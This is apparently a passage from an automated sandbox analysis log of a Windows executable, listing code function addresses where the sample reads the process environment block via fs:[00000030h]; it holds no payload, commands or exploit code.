Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570445 mov eax, dword ptr fs:[00000030h]	2_2_01570445
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E0443 mov eax, dword ptr fs:[00000030h]	2_2_015E0443
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01568470 mov eax, dword ptr fs:[00000030h]	2_2_01568470
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01568470 mov eax, dword ptr fs:[00000030h]	2_2_01568470
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EE461 mov eax, dword ptr fs:[00000030h]	2_2_015EE461
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155640D mov eax, dword ptr fs:[00000030h]	2_2_0155640D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F6400 mov eax, dword ptr fs:[00000030h]	2_2_015F6400
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F6400 mov eax, dword ptr fs:[00000030h]	2_2_015F6400
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015844D1 mov eax, dword ptr fs:[00000030h]	2_2_015844D1
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015844D1 mov eax, dword ptr fs:[00000030h]	2_2_015844D1
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016044F8 mov eax, dword ptr fs:[00000030h]	2_2_016044F8
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016044F8 mov eax, dword ptr fs:[00000030h]	2_2_016044F8
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015664F0 mov eax, dword ptr fs:[00000030h]	2_2_015664F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A4F0 mov eax, dword ptr fs:[00000030h]	2_2_0159A4F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A4F0 mov eax, dword ptr fs:[00000030h]	2_2_0159A4F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EE4F2 mov eax, dword ptr fs:[00000030h]	2_2_015EE4F2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EE4F2 mov eax, dword ptr fs:[00000030h]	2_2_015EE4F2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E4EF mov eax, dword ptr fs:[00000030h]	2_2_0159E4EF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E4EF mov eax, dword ptr fs:[00000030h]	2_2_0159E4EF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EC490 mov eax, dword ptr fs:[00000030h]	2_2_015EC490
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01560485 mov ecx, dword ptr fs:[00000030h]	2_2_01560485
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159648A mov eax, dword ptr fs:[00000030h]	2_2_0159648A
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159648A mov eax, dword ptr fs:[00000030h]	2_2_0159648A
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159648A mov eax, dword ptr fs:[00000030h]	2_2_0159648A
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F84BB mov eax, dword ptr fs:[00000030h]	2_2_015F84BB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E4BC mov eax, dword ptr fs:[00000030h]	2_2_0159E4BC
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015944A8 mov eax, dword ptr fs:[00000030h]	2_2_015944A8
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015624A2 mov eax, dword ptr fs:[00000030h]	2_2_015624A2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015624A2 mov ecx, dword ptr fs:[00000030h]	2_2_015624A2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A750 mov eax, dword ptr fs:[00000030h]	2_2_0159A750
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01582755 mov eax, dword ptr fs:[00000030h]	2_2_01582755
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01582755 mov eax, dword ptr fs:[00000030h]	2_2_01582755
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01582755 mov eax, dword ptr fs:[00000030h]	2_2_01582755
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01582755 mov ecx, dword ptr fs:[00000030h]	2_2_01582755
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01582755 mov eax, dword ptr fs:[00000030h]	2_2_01582755
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01582755 mov eax, dword ptr fs:[00000030h]	2_2_01582755
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01590774 mov eax, dword ptr fs:[00000030h]	2_2_01590774
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01564779 mov eax, dword ptr fs:[00000030h]	2_2_01564779
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01564779 mov eax, dword ptr fs:[00000030h]	2_2_01564779
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0160E750 mov eax, dword ptr fs:[00000030h]	2_2_0160E750
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01572760 mov ecx, dword ptr fs:[00000030h]	2_2_01572760
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156471B mov eax, dword ptr fs:[00000030h]	2_2_0156471B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156471B mov eax, dword ptr fs:[00000030h]	2_2_0156471B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158270D mov eax, dword ptr fs:[00000030h]	2_2_0158270D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158270D mov eax, dword ptr fs:[00000030h]	2_2_0158270D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158270D mov eax, dword ptr fs:[00000030h]	2_2_0158270D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E7E0 mov eax, dword ptr fs:[00000030h]	2_2_0158E7E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE79D mov eax, dword ptr fs:[00000030h]	2_2_015DE79D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE79D mov eax, dword ptr fs:[00000030h]	2_2_015DE79D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE79D mov eax, dword ptr fs:[00000030h]	2_2_015DE79D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE79D mov eax, dword ptr fs:[00000030h]	2_2_015DE79D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE79D mov eax, dword ptr fs:[00000030h]	2_2_015DE79D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE79D mov eax, dword ptr fs:[00000030h]	2_2_015DE79D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE79D mov eax, dword ptr fs:[00000030h]	2_2_015DE79D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE79D mov eax, dword ptr fs:[00000030h]	2_2_015DE79D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE79D mov eax, dword ptr fs:[00000030h]	2_2_015DE79D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016047B4 mov eax, dword ptr fs:[00000030h]	2_2_016047B4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016047B4 mov eax, dword ptr fs:[00000030h]	2_2_016047B4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016047B4 mov eax, dword ptr fs:[00000030h]	2_2_016047B4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016047B4 mov eax, dword ptr fs:[00000030h]	2_2_016047B4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016047B4 mov eax, dword ptr fs:[00000030h]	2_2_016047B4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016047B4 mov eax, dword ptr fs:[00000030h]	2_2_016047B4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016047B4 mov ecx, dword ptr fs:[00000030h]	2_2_016047B4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015FC7B0 mov eax, dword ptr fs:[00000030h]	2_2_015FC7B0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015FC7B0 mov eax, dword ptr fs:[00000030h]	2_2_015FC7B0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015607A7 mov eax, dword ptr fs:[00000030h]	2_2_015607A7
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159265C mov eax, dword ptr fs:[00000030h]	2_2_0159265C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159265C mov ecx, dword ptr fs:[00000030h]	2_2_0159265C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159265C mov eax, dword ptr fs:[00000030h]	2_2_0159265C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C640 mov eax, dword ptr fs:[00000030h]	2_2_0159C640
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C640 mov eax, dword ptr fs:[00000030h]	2_2_0159C640
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01560670 mov eax, dword ptr fs:[00000030h]	2_2_01560670
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2670 mov eax, dword ptr fs:[00000030h]	2_2_015A2670
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2670 mov eax, dword ptr fs:[00000030h]	2_2_015A2670
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159666D mov esi, dword ptr fs:[00000030h]	2_2_0159666D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159666D mov eax, dword ptr fs:[00000030h]	2_2_0159666D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159666D mov eax, dword ptr fs:[00000030h]	2_2_0159666D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EE660 mov eax, dword ptr fs:[00000030h]	2_2_015EE660
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634600 mov eax, dword ptr fs:[00000030h]	2_2_01634600
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01560630 mov eax, dword ptr fs:[00000030h]	2_2_01560630
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01590630 mov eax, dword ptr fs:[00000030h]	2_2_01590630
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E8633 mov esi, dword ptr fs:[00000030h]	2_2_015E8633
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E8633 mov eax, dword ptr fs:[00000030h]	2_2_015E8633
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E8633 mov eax, dword ptr fs:[00000030h]	2_2_015E8633
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C620 mov eax, dword ptr fs:[00000030h]	2_2_0159C620
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F66D0 mov eax, dword ptr fs:[00000030h]	2_2_015F66D0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F66D0 mov eax, dword ptr fs:[00000030h]	2_2_015F66D0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015606CF mov eax, dword ptr fs:[00000030h]	2_2_015606CF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162A6C0 mov eax, dword ptr fs:[00000030h]	2_2_0162A6C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016086C2 mov eax, dword ptr fs:[00000030h]	2_2_016086C2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DC6F2 mov eax, dword ptr fs:[00000030h]	2_2_015DC6F2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DC6F2 mov eax, dword ptr fs:[00000030h]	2_2_015DC6F2
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156C6E0 mov eax, dword ptr fs:[00000030h]	2_2_0156C6E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015866E0 mov eax, dword ptr fs:[00000030h]	2_2_015866E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015866E0 mov eax, dword ptr fs:[00000030h]	2_2_015866E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01568690 mov eax, dword ptr fs:[00000030h]	2_2_01568690
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016286A8 mov eax, dword ptr fs:[00000030h]	2_2_016286A8
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016286A8 mov eax, dword ptr fs:[00000030h]	2_2_016286A8
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EC691 mov eax, dword ptr fs:[00000030h]	2_2_015EC691
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570680 mov eax, dword ptr fs:[00000030h]	2_2_01570680
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C958 mov eax, dword ptr fs:[00000030h]	2_2_0159C958
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01584955 mov eax, dword ptr fs:[00000030h]	2_2_01584955
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01584955 mov eax, dword ptr fs:[00000030h]	2_2_01584955
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E94E mov eax, dword ptr fs:[00000030h]	2_2_0158E94E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C944 mov eax, dword ptr fs:[00000030h]	2_2_0159C944
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566970 mov eax, dword ptr fs:[00000030h]	2_2_01566970
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566970 mov eax, dword ptr fs:[00000030h]	2_2_01566970
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566970 mov eax, dword ptr fs:[00000030h]	2_2_01566970
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566970 mov eax, dword ptr fs:[00000030h]	2_2_01566970
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566970 mov eax, dword ptr fs:[00000030h]	2_2_01566970
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566970 mov eax, dword ptr fs:[00000030h]	2_2_01566970
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566970 mov eax, dword ptr fs:[00000030h]	2_2_01566970
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157096B mov eax, dword ptr fs:[00000030h]	2_2_0157096B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157096B mov eax, dword ptr fs:[00000030h]	2_2_0157096B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01592919 mov eax, dword ptr fs:[00000030h]	2_2_01592919
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01592919 mov eax, dword ptr fs:[00000030h]	2_2_01592919
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015B6912 mov eax, dword ptr fs:[00000030h]	2_2_015B6912
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162892E mov eax, dword ptr fs:[00000030h]	2_2_0162892E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162892E mov eax, dword ptr fs:[00000030h]	2_2_0162892E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0163492D mov eax, dword ptr fs:[00000030h]	2_2_0163492D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015B693A mov eax, dword ptr fs:[00000030h]	2_2_015B693A
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015B693A mov eax, dword ptr fs:[00000030h]	2_2_015B693A
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015B693A mov eax, dword ptr fs:[00000030h]	2_2_015B693A
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DC920 mov ecx, dword ptr fs:[00000030h]	2_2_015DC920
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DC920 mov eax, dword ptr fs:[00000030h]	2_2_015DC920
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DC920 mov eax, dword ptr fs:[00000030h]	2_2_015DC920
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DC920 mov eax, dword ptr fs:[00000030h]	2_2_015DC920
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015689C0 mov eax, dword ptr fs:[00000030h]	2_2_015689C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015689C0 mov eax, dword ptr fs:[00000030h]	2_2_015689C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015609F0 mov eax, dword ptr fs:[00000030h]	2_2_015609F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015949F0 mov eax, dword ptr fs:[00000030h]	2_2_015949F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015949F0 mov eax, dword ptr fs:[00000030h]	2_2_015949F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016329CF mov eax, dword ptr fs:[00000030h]	2_2_016329CF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016329CF mov eax, dword ptr fs:[00000030h]	2_2_016329CF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C98F mov eax, dword ptr fs:[00000030h]	2_2_0159C98F
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C98F mov eax, dword ptr fs:[00000030h]	2_2_0159C98F
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C98F mov eax, dword ptr fs:[00000030h]	2_2_0159C98F
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01600980 mov eax, dword ptr fs:[00000030h]	2_2_01600980
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01600980 mov eax, dword ptr fs:[00000030h]	2_2_01600980
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015989B0 mov edx, dword ptr fs:[00000030h]	2_2_015989B0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F69B0 mov eax, dword ptr fs:[00000030h]	2_2_015F69B0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F69B0 mov eax, dword ptr fs:[00000030h]	2_2_015F69B0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F69B0 mov ecx, dword ptr fs:[00000030h]	2_2_015F69B0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156E9A0 mov eax, dword ptr fs:[00000030h]	2_2_0156E9A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156E9A0 mov eax, dword ptr fs:[00000030h]	2_2_0156E9A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156E9A0 mov eax, dword ptr fs:[00000030h]	2_2_0156E9A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156E9A0 mov eax, dword ptr fs:[00000030h]	2_2_0156E9A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156E9A0 mov eax, dword ptr fs:[00000030h]	2_2_0156E9A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156E9A0 mov eax, dword ptr fs:[00000030h]	2_2_0156E9A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156E9A0 mov eax, dword ptr fs:[00000030h]	2_2_0156E9A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156E9A0 mov eax, dword ptr fs:[00000030h]	2_2_0156E9A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156E9A0 mov eax, dword ptr fs:[00000030h]	2_2_0156E9A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E89A0 mov eax, dword ptr fs:[00000030h]	2_2_015E89A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EC870 mov eax, dword ptr fs:[00000030h]	2_2_015EC870
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C819 mov eax, dword ptr fs:[00000030h]	2_2_0159C819
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C819 mov eax, dword ptr fs:[00000030h]	2_2_0159C819
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01610835 mov eax, dword ptr fs:[00000030h]	2_2_01610835
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015728C0 mov eax, dword ptr fs:[00000030h]	2_2_015728C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015608CD mov eax, dword ptr fs:[00000030h]	2_2_015608CD
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015608CD mov eax, dword ptr fs:[00000030h]	2_2_015608CD
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015588C8 mov eax, dword ptr fs:[00000030h]	2_2_015588C8
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015588C8 mov eax, dword ptr fs:[00000030h]	2_2_015588C8
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F88FB mov eax, dword ptr fs:[00000030h]	2_2_015F88FB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A8F0 mov eax, dword ptr fs:[00000030h]	2_2_0156A8F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A8F0 mov eax, dword ptr fs:[00000030h]	2_2_0156A8F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A8F0 mov eax, dword ptr fs:[00000030h]	2_2_0156A8F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A8F0 mov eax, dword ptr fs:[00000030h]	2_2_0156A8F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A8F0 mov eax, dword ptr fs:[00000030h]	2_2_0156A8F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A8F0 mov eax, dword ptr fs:[00000030h]	2_2_0156A8F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015948F0 mov eax, dword ptr fs:[00000030h]	2_2_015948F0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E488F mov eax, dword ptr fs:[00000030h]	2_2_015E488F
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A088E mov eax, dword ptr fs:[00000030h]	2_2_015A088E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A088E mov edx, dword ptr fs:[00000030h]	2_2_015A088E
